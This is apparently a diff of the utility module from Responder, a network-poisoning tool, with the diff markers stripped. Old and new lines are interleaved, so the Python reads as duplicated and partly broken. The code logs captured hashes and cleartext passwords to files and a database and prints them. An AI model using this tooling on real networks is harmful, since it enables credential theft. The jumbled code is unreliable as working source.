return '0.0.0.0'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
if IsOsX():
return OURIP
elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0')
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
return OURIP
except socket.error:
print color("[!] Error: %s: Interface not found" % Iface, 1)
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
if os.path.isfile(outfile) == False:
if not os.path.isfile(outfile):
with open(outfile,"w") as outf:
outf.write(data)
outf.write("\n")
outf.close()
outf.write(data + '\n')
return
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
return False
elif re.search(re.escape("$"), user):
return False
with open(outfile,"a") as outf2:
outf2.write(data + '\n')
else:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
with open(outfile,"a") as outf2:
outf2.write(data)
outf2.write("\n")
outf2.close()
# Function used to write debug config and network info.
def DumpConfig(outfile, data):
with open(outfile,"a") as dump:
dump.write(data + '\n')
def SaveToDb(result):
# Creating the DB if it doesn't exist
if not os.path.exists(settings.Config.DatabaseFile):
cursor = sqlite3.connect(settings.Config.DatabaseFile)
@@ -151,65 +155,73 @@ def SaveToDb(result):
else:
fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client'])
timestamp = time.strftime("%d-%m-%Y %H:%M:%S")
logfile = os.path.join(settings.Config.ResponderPATH, 'logs', fname)
cursor = sqlite3.connect(settings.Config.DatabaseFile)
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user']))
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND client=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['client'], result['user']))
(count,) = res.fetchone()
if count == 0:
# Write JtR-style hash string to file
if not count:
with open(logfile,"a") as outf:
outf.write(result['fullhash'])
outf.write("\n")
outf.close()
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
# Update database
cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.execute("INSERT INTO responder VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?)", (result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash']))
cursor.commit()
cursor.close()
# Print output
if count == 0 or settings.Config.Verbose:
if settings.Config.CaptureMultipleHashFromSameHost:
with open(logfile,"a") as outf:
if len(result['cleartext']): # If we obtained cleartext credentials, write them to file
outf.write('%s:%s\n' % (result['user'].encode('utf8', 'replace'), result['cleartext'].encode('utf8', 'replace')))
else: # Otherwise, write JtR-style hash string to file
outf.write(result['fullhash'].encode('utf8', 'replace') + '\n')
if not count or settings.Config.Verbose: # Print output
if len(result['client']):
print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3)))
if len(result['hostname']):
print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3)))
if len(result['user']):
print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3)))
# Bu order of priority, print cleartext, fullhash, or hash
if len(result['cleartext']):
print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3)))
elif len(result['fullhash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3)))
elif len(result['hash']):
print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3)))
# Appending auto-ignore list if required
# Except if this is a machine account's hash
if settings.Config.AutoIgnore and not result['user'].endswith('$'):
settings.Config.AutoIgnoreList.append(result['client'])
print color('[*] Adding client %s to auto-ignore list' % result['client'], 4, 1)
else:
print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user']
print color('[*] Skipping previously captured hash for %s' % result['user'], 3, 1)
text('[*] Skipping previously captured hash for %s' % result['user'])
cursor.execute("UPDATE responder SET timestamp=datetime('now') WHERE user=? AND client=?", (result['user'], result['client']))
cursor.commit()
cursor.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":
return False
elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
return True
elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
return True
return False
else:
return False
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission.
try:
from string import printable
@@ -221,12 +233,12 @@ def Decode_Name(nbname):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except:
return "Illegal NetBIOS name"
def NBT_NS_Role(data):
Role = {
return {
"\x41\x41\x00":"Workstation/Redirector",
"\x42\x4c\x00":"Domain Master Browser",
"\x42\x4d\x00":"Domain Controller",
@@ -234,12 +246,10 @@ def NBT_NS_Role(data):
"\x42\x4f\x00":"Browser Election",
"\x43\x41\x00":"File Server",
"\x41\x42\x00":"Browser",
}
}.get(data, 'Service not known')
return Role[data] if data in Role else "Service not known"
def banner():
banner = "\n".join([
' __',
' .----.-----.-----.-----.-----.-----.--| |.-----.----.',
@@ -251,10 +261,11 @@ def banner():
print banner
print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__
print ""
print " Original work by Laurent Gaffie (lgaffie@trustwave.com)"
print " Author: Laurent Gaffie (laurent.gaffie@gmail.com)"
print " To kill this script hit CRTL-C"
print ""
def StartupMessage():
enabled = color('[ON]', 2, 1)
disabled = color('[OFF]', 1, 1)
@@ -270,6 +281,7 @@ def StartupMessage():
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled)
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled)
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled)
print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled)
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled)
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled)
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled)
@@ -304,55 +316,13 @@ def StartupMessage():
if settings.Config.Upstream_Proxy:
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1)
if len(settings.Config.RespondTo):
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1)
if len(settings.Config.RespondToName):
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1)
if len(settings.Config.DontRespondTo):
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1)
if len(settings.Config.DontRespondToName):
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1)
print "\n\n"
print ""
print ""
# Useful for debugging
def hexdump(src, l=0x16):
res = []
sep = '.'
src = str(src)
for i in range(0, len(src), l):
s = src[i:i+l]
hexa = ''
for h in range(0,len(s)):
if h == l/2:
hexa += ' '
h = s[h]
if not isinstance(h, int):
h = ord(h)
h = hex(h).replace('0x','')
if len(h) == 1:
h = '0'+h
hexa += h + ' '
hexa = hexa.strip(' ')
text = ''
for c in s:
if not isinstance(c, int):
c = ord(c)
if 0x20 <= c < 0x7F:
text += chr(c)
else:
text += sep
res.append(('%08X: %-'+str(l*(2+1)+1)+'s |%s|') % (i, hexa, text))
return '\n'.join(res)